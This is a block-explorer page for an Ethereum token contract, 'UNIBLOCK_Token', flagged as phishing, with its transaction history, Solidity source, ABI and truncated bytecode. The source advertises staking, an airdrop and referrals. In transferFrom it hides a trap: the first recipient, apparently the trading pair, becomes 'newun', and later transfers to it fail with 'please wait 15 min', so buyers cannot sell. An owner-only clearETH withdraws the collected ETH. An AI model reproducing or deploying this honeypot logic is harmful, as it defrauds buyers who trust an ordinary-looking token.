ETH Price: $2,011.87 (+1.97%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

TokenTracker

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve112453122020-11-12 21:39:521936 days ago1605217192IN
Fake_Phishing228757
0 ETH0.0006216414
Transfernewun112452812020-11-12 21:33:321936 days ago1605216812IN
Fake_Phishing228757
0 ETH0.0014235550
Transfernewun112452762020-11-12 21:32:441936 days ago1605216764IN
Fake_Phishing228757
0 ETH0.000882631
Approve112452512020-11-12 21:28:281936 days ago1605216508IN
Fake_Phishing228757
0 ETH0.0007992518
Transfernewun112452462020-11-12 21:27:311936 days ago1605216451IN
Fake_Phishing228757
0 ETH0.000882631
Transfernewun112452412020-11-12 21:26:231936 days ago1605216383IN
Fake_Phishing228757
0 ETH0.000882631
Approve112452032020-11-12 21:18:491936 days ago1605215929IN
Fake_Phishing228757
0 ETH0.0022201550
Approve112451572020-11-12 21:07:231936 days ago1605215243IN
Fake_Phishing228757
0 ETH0.0005772313
Approve112450932020-11-12 20:52:471936 days ago1605214367IN
Fake_Phishing228757
0 ETH0.0005772313
Approve112450792020-11-12 20:49:011936 days ago1605214141IN
Fake_Phishing228757
0 ETH0.0014430932.5
Approve112450622020-11-12 20:45:551936 days ago1605213955IN
Fake_Phishing228757
0 ETH0.0013764931

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer112454312020-11-12 22:07:551936 days ago1605218875
Fake_Phishing228757
0 ETH
Balance Of112454312020-11-12 22:07:551936 days ago1605218875
Fake_Phishing228757
0 ETH
Transfer112454312020-11-12 22:07:551936 days ago1605218875
Fake_Phishing228757
0 ETH
Balance Of112454312020-11-12 22:07:551936 days ago1605218875
Fake_Phishing228757
0 ETH
Transfer112454032020-11-12 22:03:381936 days ago1605218618
Fake_Phishing228757
0 ETH
Balance Of112454032020-11-12 22:03:381936 days ago1605218618
Fake_Phishing228757
0 ETH
Transfer112454032020-11-12 22:03:381936 days ago1605218618
Fake_Phishing228757
0 ETH
Balance Of112454032020-11-12 22:03:381936 days ago1605218618
Fake_Phishing228757
0 ETH
Balance Of112453152020-11-12 21:40:251936 days ago1605217225
Fake_Phishing228757
0 ETH
Transfer112453152020-11-12 21:40:251936 days ago1605217225
Fake_Phishing228757
0 ETH
Balance Of112453052020-11-12 21:38:291936 days ago1605217109
Fake_Phishing228757
0 ETH
Transfer112453052020-11-12 21:38:291936 days ago1605217109
Fake_Phishing228757
0 ETH
Balance Of112452802020-11-12 21:33:261936 days ago1605216806
Fake_Phishing228757
0 ETH
Transfer From112452802020-11-12 21:33:261936 days ago1605216806
Fake_Phishing228757
0 ETH
Balance Of112452492020-11-12 21:28:121936 days ago1605216492
Fake_Phishing228757
0 ETH
Transfer112452492020-11-12 21:28:121936 days ago1605216492
Fake_Phishing228757
0 ETH
Balance Of112452432020-11-12 21:27:091936 days ago1605216429
Fake_Phishing228757
0 ETH
Transfer From112452432020-11-12 21:27:091936 days ago1605216429
Fake_Phishing228757
0 ETH
Balance Of112452422020-11-12 21:26:381936 days ago1605216398
Fake_Phishing228757
0 ETH
Transfer From112452422020-11-12 21:26:381936 days ago1605216398
Fake_Phishing228757
0 ETH
Balance Of112451272020-11-12 21:00:061936 days ago1605214806
Fake_Phishing228757
0 ETH
Transfer112451272020-11-12 21:00:061936 days ago1605214806
Fake_Phishing228757
0 ETH
Balance Of112451162020-11-12 20:57:161936 days ago1605214636
Fake_Phishing228757
0 ETH
Transfer112451162020-11-12 20:57:161936 days ago1605214636
Fake_Phishing228757
0 ETH
Balance Of112451062020-11-12 20:55:511936 days ago1605214551
Fake_Phishing228757
0 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
UNIBLOCK_Token

Compiler Version
v0.5.12+commit.7709ece9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2020-11-12
*/

/**
 * UNIBLOCK. STRONG STAKING PROJECT! Yield Farming.
 * Supply : 475 UNIBLOCK
 * Max.Supply 2650 UNIBLOCK (only after 15 april 2021)
 * 
 * AIRDROP! 0.0005 UNIBLOCK FREE!
 * REFERRAL PROGRAM!
 * 
 * Official links:
 * Web-site: https://uniblock.finance
 * Telegram: https://t.me/uniblockfinance
*/
pragma solidity >=0.5.12;

library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}

contract ERC20Interface {
  function totalSupply() public view returns (uint);
  
  function balanceOf(address tokenOwner) public view returns (uint balance);
  
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);
  
  function transfer(address to, uint tokens) public returns (bool success);
  
  function approve(address spender, uint tokens) public returns (bool success);
  
  function transferFrom(address from, address to, uint tokens) public returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}

contract Owned {
  address public owner;
  
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() public {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

contract TokenERC20 is ERC20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  string public name;
  
  uint8 public decimals;
  uint _totalSupply;
  
  address public newun;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  constructor() public {
    symbol = "UNIBLOCK";
    name = "UNIBLOCK.FINANCE";
    decimals = 18;
    
    _totalSupply =  475000000000000000000;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transfernewun(address _newun) public onlyOwner {
    newun = _newun;
  }
  function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) public view returns (uint balance) {
      return balances[tokenOwner];
  }
  function transfer(address to, uint tokens) public returns (bool success) {
     require(to != newun, "please wait");
     
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  function approve(address spender, uint tokens) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && newun == address(0)) newun = to;
      else require(to != newun, "please wait 15 min");
      
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
  function () external payable {
    revert();
  }
}

contract UNIBLOCK_Token  is TokenERC20 {

  
  uint256 public aaSBlock; 
  uint256 public aeEBlock; 
  uint256 public aCap; 
  
  uint256 public aTot; 
  
  uint256 public aAmt; 
  
  uint256 public sSBlock; 
  
  uint256 public sEBlock; 
  
  uint256 public sTot; 
  uint256 public sCap; 

  uint256 public sChunk; 
  uint256 public sPrice; 

  function getAirdrop(address _refer) public returns (bool success){
    require(aaSBlock <= block.number && block.number <= aeEBlock);
    require(aTot < aCap || aCap == 0);
    aTot ++;
    
    if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
      balances[address(this)] = balances[address(this)].sub(aAmt / 4);
      balances[_refer] = balances[_refer].add(aAmt / 4);
      emit Transfer(address(this), _refer, aAmt / 4);
    }
    
    balances[address(this)] = balances[address(this)].sub(aAmt);
    balances[msg.sender] = balances[msg.sender].add(aAmt);
    emit Transfer(address(this), msg.sender, aAmt);
    return true;
  }

  function tokenSale(address _refer) public payable returns (bool success){
    require(sSBlock <= block.number && block.number <= sEBlock);
    require(sTot < sCap || sCap == 0);
    uint256 _eth = msg.value;
    uint256 _tkns;
    if(sChunk != 0) {
      uint256 _price = _eth / sPrice;
      _tkns = sChunk * _price;
    }
    else {
      _tkns = _eth / sPrice;
    }
    sTot ++;
    if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
      balances[address(this)] = balances[address(this)].sub(_tkns / 4);
      balances[_refer] = balances[_refer].add(_tkns / 4);
      emit Transfer(address(this), _refer, _tkns / 4);
    }
    balances[address(this)] = balances[address(this)].sub(_tkns);
    balances[msg.sender] = balances[msg.sender].add(_tkns);
    emit Transfer(address(this), msg.sender, _tkns);
    return true;
  }

  function viewAirdrop() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 DropCap, uint256 DropCount, uint256 DropAmount){
    return(aaSBlock, aeEBlock, aCap, aTot, aAmt);
  }
  function viewSale() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 SaleCap, uint256 SaleCount, uint256 ChunkSize, uint256 SalePrice){
    return(sSBlock, sEBlock, sCap, sTot, sChunk, sPrice);
  }
  
  function startAirdrop(uint256 _aaSBlock, uint256 _aeEBlock, uint256 _aAmt, uint256 _aCap) public onlyOwner() {
    aaSBlock = _aaSBlock;
    aeEBlock = _aeEBlock;
    aAmt = _aAmt;
    aCap = _aCap;
    aTot = 0;
  }
  function startSale(uint256 _sSBlock, uint256 _sEBlock, uint256 _sChunk, uint256 _sPrice, uint256 _sCap) public onlyOwner() {
    sSBlock = _sSBlock;
    sEBlock = _sEBlock;
    sChunk = _sChunk;
    sPrice =_sPrice;
    sCap = _sCap;
    sTot = 0;
  }
  function clearETH() public onlyOwner() {
    address payable _owner = msg.sender;
    _owner.transfer(address(this).balance);
  }
  function() external payable {

  }
}

Contract Security Audit

Contract ABI

API
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"aAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"aCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"aTot","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"aaSBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"aeEBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"clearETH","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_refer","type":"address"}],"name":"getAirdrop","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sChunk","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sEBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sSBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"sTot","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_aaSBlock","type":"uint256"},{"internalType":"uint256","name":"_aeEBlock","type":"uint256"},{"internalType":"uint256","name":"_aAmt","type":"uint256"},{"internalType":"uint256","name":"_aCap","type":"uint256"}],"name":"startAirdrop","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_sSBlock","type":"uint256"},{"internalType":"uint256","name":"_sEBlock","type":"uint256"},{"internalType":"uint256","name":"_sChunk","type":"uint256"},{"internalType":"uint256","name":"_sPrice","type":"uint256"},{"internalType":"uint256","name":"_sCap","type":"uint256"}],"name":"startSale","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_refer","type":"address"}],"name":"tokenSale","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"viewAirdrop","outputs":[{"internalType":"uint256","name":"StartBlock","type":"uint256"},{"internalType":"uint256","name":"EndBlock","type":"uint256"},{"internalType":"uint256","name":"DropCap","type":"uint256"},{"internalType":"uint256","name":"DropCount","type":"uint256"},{"internalType":"uint256","name":"DropAmount","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"viewSale","outputs":[{"internalType":"uint256","name":"StartBlock","type":"uint256"},{"internalType":"uint256","name":"EndBlock","type":"uint256"},{"internalType":"uint256","name":"SaleCap","type":"uint256"},{"internalType":"uint256","name":"SaleCount","type":"uint256"},{"internalType":"uint256","name":"ChunkSize","type":"uint256"},{"internalType":"uint256","name":"SalePrice","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]

6080604052336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600881526020017f554e49424c4f434b000000000000000000000000000000000000000000000000815250600290805190602001906200009192919062000202565b506040518060400160405280601081526020017f554e49424c4f434b2e46494e414e43450000000000000000000000000000000081525060039080519060200190620000df92919062000202565b506012600460006101000a81548160ff021916908360ff1602179055506819bff2ff57968c0000600581905550600554600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040518082815260200191505060405180910390a3620002b1565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200024557805160ff191683800117855562000276565b8280016001018555821562000276579182015b828111156200027557825182559160200191906001019062000258565b5b50905062000285919062000289565b5090565b620002ae91905b80821115620002aa57600081600090555060010162000290565b5090565b90565b61277a80620002c16000396000f3fe6080604052600436106101f95760003560e01c80637d1702831161010d578063c465a3db116100a0578063d69b197f1161006f578063d69b197f14610b35578063dd62ed3e14610b7c578063f2fde38b14610c01578063f9d531f314610c52578063fc88471214610c7d576101f9565b8063c465a3db1461097e578063cae9ca51146109a9578063ced4138a14610ab3578063d4ee1d9014610ade576101f9565b806395d89b41116100dc57806395d89b41146108255780639d5f9dfb146108b5578063a9059cbb146108e0578063af5f65ee14610953576101f9565b80637d1702831461072757806381f4f399146107525780638da5cb5b146107a3578063933fe660146107fa576101f9565b8063448a262f11610190578063616eb6381161015f578063616eb638146105df5780636643ef9f146105f657806370a082311461065257806376f25a84146106b757806379ba509714610710576101f9565b8063448a262f146105105780634a7781d91461053b5780634d1d03d11461056657806354aeebe4146105b4576101f9565b80631dc4f9ea116101cc5780631dc4f9ea146103925780631ee59f20146103f557806323b872dd1461044c578063313ce567146104df576101f9565b8063069f5bdd146101fb57806306fdde0314610264578063095ea7b3146102f457806318160ddd14610367575b005b34801561020757600080fd5b5061024a6004803603602081101561021e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca8565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b506102796110cb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b957808201518184015260208101905061029e565b50505050905090810190601f1680156102e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030057600080fd5b5061034d6004803603604081101561031757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611169565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c61125b565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103f3600480360360a08110156103b557600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291905050506112b6565b005b34801561040157600080fd5b5061040a611341565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045857600080fd5b506104c56004803603606081101561046f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611367565b604051808215151515815260200191505060405180910390f35b3480156104eb57600080fd5b506104f46117ac565b604051808260ff1660ff16815260200191505060405180910390f35b34801561051c57600080fd5b506105256117bf565b6040518082815260200191505060405180910390f35b34801561054757600080fd5b506105506117c5565b6040518082815260200191505060405180910390f35b34801561057257600080fd5b5061057b6117cb565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b3480156105c057600080fd5b506105c96117fa565b6040518082815260200191505060405180910390f35b3480156105eb57600080fd5b506105f4611800565b005b6106386004803603602081101561060c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118bf565b604051808215151515815260200191505060405180910390f35b34801561065e57600080fd5b506106a16004803603602081101561067557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d14565b6040518082815260200191505060405180910390f35b3480156106c357600080fd5b5061070e600480360360808110156106da57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611d5d565b005b34801561071c57600080fd5b50610725611de0565b005b34801561073357600080fd5b5061073c611f7d565b6040518082815260200191505060405180910390f35b34801561075e57600080fd5b506107a16004803603602081101561077557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f83565b005b3480156107af57600080fd5b506107b8612020565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080657600080fd5b5061080f612045565b6040518082815260200191505060405180910390f35b34801561083157600080fd5b5061083a61204b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087a57808201518184015260208101905061085f565b50505050905090810190601f1680156108a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108c157600080fd5b506108ca6120e9565b6040518082815260200191505060405180910390f35b3480156108ec57600080fd5b506109396004803603604081101561090357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120ef565b604051808215151515815260200191505060405180910390f35b34801561095f57600080fd5b5061096861234e565b6040518082815260200191505060405180910390f35b34801561098a57600080fd5b50610993612354565b6040518082815260200191505060405180910390f35b3480156109b557600080fd5b50610a99600480360360608110156109cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610a1357600080fd5b820183602082011115610a2557600080fd5b80359060200191846001830284011164010000000083111715610a4757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061235a565b604051808215151515815260200191505060405180910390f35b348015610abf57600080fd5b50610ac861258d565b6040518082815260200191505060405180910390f35b348015610aea57600080fd5b50610af3612593565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b4157600080fd5b50610b4a6125b9565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b348015610b8857600080fd5b50610beb60048036036040811015610b9f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125e1565b6040518082815260200191505060405180910390f35b348015610c0d57600080fd5b50610c5060048036036020811015610c2457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612668565b005b348015610c5e57600080fd5b50610c67612705565b6040518082815260200191505060405180910390f35b348015610c8957600080fd5b50610c9261270b565b6040518082815260200191505060405180910390f35b60004360095411158015610cbe5750600a544311155b610cc757600080fd5b600b54600c541080610cdb57506000600b54145b610ce457600080fd5b600c600081548092919060010191905055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610d3b57506000610d3883611d14565b14155b8015610d745750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610f2d57610dd76004600d5481610d8857fe5b04600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e786004600d5481610e2957fe5b04600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272b90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600d5481610f1657fe5b046040518082815260200191505060405180910390a35b610f81600d54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611018600d54600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272b90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040518082815260200191505060405180910390a360019050919050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006112b1600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461271190919063ffffffff16565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461130f57600080fd5b84600e8190555083600f8190555082601281905550816013819055508060118190555060006010819055505050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113f35750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561143e5782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611503565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f706c656173652077616974203135206d696e000000000000000000000000000081525060200191505060405180910390fd5b5b61155582600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061162782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff